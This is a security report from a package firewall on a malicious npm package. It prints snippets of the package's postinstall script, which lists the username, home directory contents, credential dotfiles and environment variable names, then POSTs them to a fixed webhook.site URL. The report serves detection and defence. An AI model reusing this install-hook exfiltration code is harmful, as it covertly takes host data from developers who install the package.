---
canonical: "https://firewall.lpm.dev/npm/r17d-sec-research-marker"
markdown: "https://firewall.lpm.dev/npm/r17d-sec-research-marker/report.md"
package: "r17d-sec-research-marker"
report_status: "published"
title: "r17d-sec-research-marker@1.0.0 npm security report"
verdict: "malicious"
version: "1.0.0"
---

# r17d-sec-research-marker@1.0.0 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — Installation discloses host and project metadata to an unrelated external recipient.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Data Exfiltration
- **Selected version:** 1.0.0
- **Selected version is latest:** Yes
- **Analysis source:** AI Security Review (lpm-firewall-ai)

This is the current Firewall decision for the selected package version, based on the available public evidence. Findings for this version do not establish the status of other versions.

AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy.

The package performs automatic install-time disclosure of identifying host and project metadata to a fixed external collector. The verified lifecycle trigger, collection, and send support blocking publication.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 99.0%
- **Started:** 2026-10-17T09:46:15.197Z
- **Finished:** 2026-10-17T09:53:48.519Z
- **Download time:** 2071 ms
- **Static scan time:** 9 ms
- **AI review time:** 451242 ms
- **Total time:** 453322 ms

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

### Published attack-surface review

- **Summary:** The install hook collects identifying host and project metadata and sends it to a fixed external collector.

- **Trigger:** Installing the package triggers its postinstall script.

- **Impact:** Installation discloses host and project metadata to an unrelated external recipient.

- **Evidence paths:** package.json, collect.js

- **Review source:** ai\_review

- **Reviewed:** 2026-10-17T09:53:48.519Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** The script gathers usernames, directory listings, selected dotfile presence, and environment variable names, then POSTs the serialized data to a fixed webhook endpoint without a consent check.

- **Attack narrative:** On installation, the postinstall hook runs a script that collects host and project metadata, including the username, directory listings, and environment variable names. It sends that data to a fixed external webhook without an installer consent check.

- **Rationale:** The package performs automatic install-time disclosure of identifying host and project metadata to a fixed external collector. The verified lifecycle trigger, collection, and send support blocking publication.

- **Files touched:** package.json, collect.js

- **Network endpoints:** https://webhook.site/f18b2445-73d1-478a-9d3f-1cb21a407c61

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for block:** The package runs \`collect.js\` automatically after installation., The script collects the username, kernel release, home and current-directory listings, selected dotfile presence, and environment variable names., It serializes the collected metadata and sends it in a POST request to a fixed \`webhook.site\` endpoint, then ends the request without a consent check.

## Affected versions and remediation

This report applies to r17d-sec-research-marker@1.0.0.

- Avoid installing r17d-sec-research-marker@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. High: Install Time Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 90.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/r17d-sec-research-marker@1.0.0/package.json>)

Package defines install-time lifecycle scripts.

Public source snippet (untrusted):

```json
scripts.postinstall = node collect.js
```

### 2. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 3. High: Child Process
- **Category:** Source
- **Confidence:** 85.0%
- **Path:** collect.js
- **Public source:** [View source](<https://unpkg.com/r17d-sec-research-marker@1.0.0/collect.js>)

Package source references child process execution.

Public source snippet (untrusted):

```javascript
L6: try {
L7: meta.homeLs = require('child_process').execSync('ls -A ~ 2>&1 | head -25').toString();
L8: meta.cwdLs = require('child_process').execSync('ls -A . 2>&1 | head -15').toString();
```

### 4. High: Shell
- **Category:** Source
- **Confidence:** 85.0%

Package source references shell execution.

### 5. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 6. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 7. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 8. High: Same File Env Network Execution
- **Category:** Source
- **Confidence:** 85.0%
- **Path:** collect.js
- **Public source:** [View source](<https://unpkg.com/r17d-sec-research-marker@1.0.0/collect.js>)

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

Public source snippet (untrusted):

```javascript
L1: // SECURITY RESEARCH POC (labeled) - metadata only, no secret values collected
L2: const https = require('https');
L3: const os = require('os'); const fs = require('fs');
...
L6: try {
L7: meta.homeLs = require('child_process').execSync('ls -A ~ 2>&1 | head -25').toString();
L8: meta.cwdLs = require('child_process').execSync('ls -A . 2>&1 | head -15').toString();
...
L10: meta.dotfiles = ['.npmrc','.gitconfig','.novus','.config/gh'].map(p => p + '=' + (fs.existsSync(h + '/' + p) ? 'present' : 'absent')).join(' ');
L11: meta.envNames = Object.keys(process.env).sort().join(',');
L12: } catch (e) { meta.err = String(e).slice(0,120); }
```

### 9. Critical: Hardcoded Runtime Data Exfiltration
- **Category:** Source
- **Confidence:** 94.0%
- **Path:** collect.js
- **Public source:** [View source](<https://unpkg.com/r17d-sec-research-marker@1.0.0/collect.js>)

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

Public source snippet (untrusted):

```javascript
L1: // SECURITY RESEARCH POC (labeled) - metadata only, no secret values collected
L2: const https = require('https');
L3: const os = require('os'); const fs = require('fs');
L4: let meta = { marker: 'r17d-victim-vm', repo: 'npm[redacted]', ts: new Date().toISOString() };
L5: try { meta.whoami = os.userInfo().username; meta.kernel = os.release(); } catch (e) {}
L6: try {
L7: meta.homeLs = require('child_process').execSync('ls -A ~ 2>&1 | head -25').toString();
L8: meta.cwdLs = require('child_process').execSync('ls -A . 2>&1 | head -15').toString();
...
L10: meta.dotfiles = ['.npmrc','.gitconfig','.novus','.config/gh'].map(p => p + '=' + (fs.existsSync(h + '/' + p) ? 'present' : 'absent')).join(' ');
L11: meta.envNames = Object.keys(process.env).sort().join(',');
L12: } catch (e) { meta.err
```

### 10. High: Host Fingerprint Exfiltration
- **Category:** Source
- **Confidence:** 86.0%
- **Path:** collect.js
- **Public source:** [View source](<https://unpkg.com/r17d-sec-research-marker@1.0.0/collect.js>)

Source collects local host identity data and sends it to an external endpoint.

Public source snippet (untrusted):

```javascript
L1: // SECURITY RESEARCH POC (labeled) - metadata only, no secret values collected
L2: const https = require('https');
L3: const os = require('os'); const fs = require('fs');
L4: let meta = { marker: 'r17d-victim-vm', repo: 'npm[redacted]', ts: new Date().toISOString() };
L5: try { meta.whoami = os.userInfo().username; meta.kernel = os.release(); } catch (e) {}
L6: try {
L7: meta.homeLs = require('child_process').execSync('ls -A ~ 2>&1 | head -25').toString();
L8: meta.cwdLs = require('child_process').execSync('ls -A . 2>&1 | head -15').toString();
...
L10: meta.dotfiles = ['.npmrc','.gitconfig','.novus','.config/gh'].map(p => p + '=' + (fs.existsSync(h + '/' + p) ? 'present' : 'absent')).join(' ');
L11: meta.envNames = Object.keys(process.env).sort().join(',');
L12: } catch (e) { meta.err
```

### 11. High: Command Output Exfiltration
- **Category:** Source
- **Confidence:** 82.0%
- **Path:** collect.js
- **Public source:** [View source](<https://unpkg.com/r17d-sec-research-marker@1.0.0/collect.js>)

Source combines command execution, command-output handling, and outbound requests; review data flow before blocking.

Public source snippet (untrusted):

```javascript
L1: // SECURITY RESEARCH POC (labeled) - metadata only, no secret values collected
L2: const https = require('https');
L3: const os = require('os'); const fs = require('fs');
...
L6: try {
L7: meta.homeLs = require('child_process').execSync('ls -A ~ 2>&1 | head -25').toString();
L8: meta.cwdLs = require('child_process').execSync('ls -A . 2>&1 | head -15').toString();
...
L13: const data = JSON.stringify(meta);
L14: const req = https.request({ hostname: 'webhook.site', path: '/f18b2445-73d1-478a-9d3f-1cb21a407c61', method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length'...
L15: req.on('error', e => process.stdout.write('beat-err:' + e.code));
```

### 12. Critical: Trigger Reachable Dangerous Capability
- **Category:** Source
- **Confidence:** 90.0%
- **Path:** collect.js
- **Public source:** [View source](<https://unpkg.com/r17d-sec-research-marker@1.0.0/collect.js>)

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

Public source snippet (untrusted):

```javascript
Trigger-reachable chain: scripts.postinstall -> collect.js
L1: // SECURITY RESEARCH POC (labeled) - metadata only, no secret values collected
L2: const https = require('https');
L3: const os = require('os'); const fs = require('fs');
L4: let meta = { marker: 'r17d-victim-vm', repo: 'npm[redacted]', ts: new Date().toISOString() };
L5: try { meta.whoami = os.userInfo().username; meta.kernel = os.release(); } catch (e) {}
L6: try {
L7: meta.homeLs = require('child_process').execSync('ls -A ~ 2>&1 | head -25').toString();
L8: meta.cwdLs = require('child_process').execSync('ls -A . 2>&1 | head -15').toString();
...
L10: meta.dotfiles = ['.npmrc','.gitconfig','.novus','.config/gh'].map(p => p + '=' + (fs.existsSync(h + '/' + p) ? 'present' : 'absent')).join(' ');
L11: meta.envNames = Object.keys
```

### 13. High: Trigger Reachable Command Output Exfiltration
- **Category:** Source
- **Confidence:** 94.0%
- **Path:** collect.js
- **Public source:** [View source](<https://unpkg.com/r17d-sec-research-marker@1.0.0/collect.js>)

A manifest entrypoint or package-local install chain reaches command-output exfiltration behavior.

Public source snippet (untrusted):

```javascript
Trigger-reachable command-output exfiltration chain: scripts.postinstall -> collect.js
L1: // SECURITY RESEARCH POC (labeled) - metadata only, no secret values collected
L2: const https = require('https');
L3: const os = require('os'); const fs = require('fs');
...
L6: try {
L7: meta.homeLs = require('child_process').execSync('ls -A ~ 2>&1 | head -25').toString();
L8: meta.cwdLs = require('child_process').execSync('ls -A . 2>&1 | head -15').toString();
...
L13: const data = JSON.stringify(meta);
L14: const req = https.request({ hostname: 'webhook.site', path: '/f18b2445-73d1-478a-9d3f-1cb21a407c61', method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length'...
L15: req.on('error', e => process.stdout.write('beat-err:' + e.code));
```

### 14. High: Trigger Reachable External Post Callback
- **Category:** Source
- **Confidence:** 94.0%
- **Path:** collect.js
- **Public source:** [View source](<https://unpkg.com/r17d-sec-research-marker@1.0.0/collect.js>)

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

Public source snippet (untrusted):

```javascript
Trigger-reachable fixed external POST callback chain: scripts.postinstall -> collect.js
const https = require('https');
const data = JSON.stringify(meta);
const req = https.request({ hostname: 'webhook.site', path: '/f18b2445-73d1-478a-9d3f-1cb21a407c61', method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length'...
req.on('error', e => process.stdout.write('beat-err:' + e.code));
```

### 15. Medium: Structural Risk Force Deep Review
- **Category:** Artifact Inventory
- **Confidence:** 100.0%

Artifact structure forces deeper review even if the static behavioral verdict is clean.

## Dependencies and install lifecycle
- **Lifecycle scripts present:** Yes
- **Published lifecycle scripts:** postinstall
- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** r17d-sec-research-marker
- **Ecosystem:** npm
- **Version:** 1.0.0
- **License:** MIT
- **Version published:** 2026-10-17T09:45:18.787Z
- **Package first seen:** 2026-10-17T09:53:48.519Z
- **Package last seen:** 2026-10-17T09:53:48.519Z
- **Known versions:** 1
- **Latest version:** 1.0.0
- **Appeal under review:** No
- **Description:** SECURITY RESEARCH POC MARKER - install-script execution test in managed dev sandboxes. Labeled; unpublished immediately after verification. Collects metadata only (usernames, directory listings, file EXISTENCE). No secret values, no persistence.
- **Artifact files:** 2
- **Artifact unpacked size:** 1,616 bytes
- **Artifact signatures:** 2
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/r17d-sec-research-marker>)
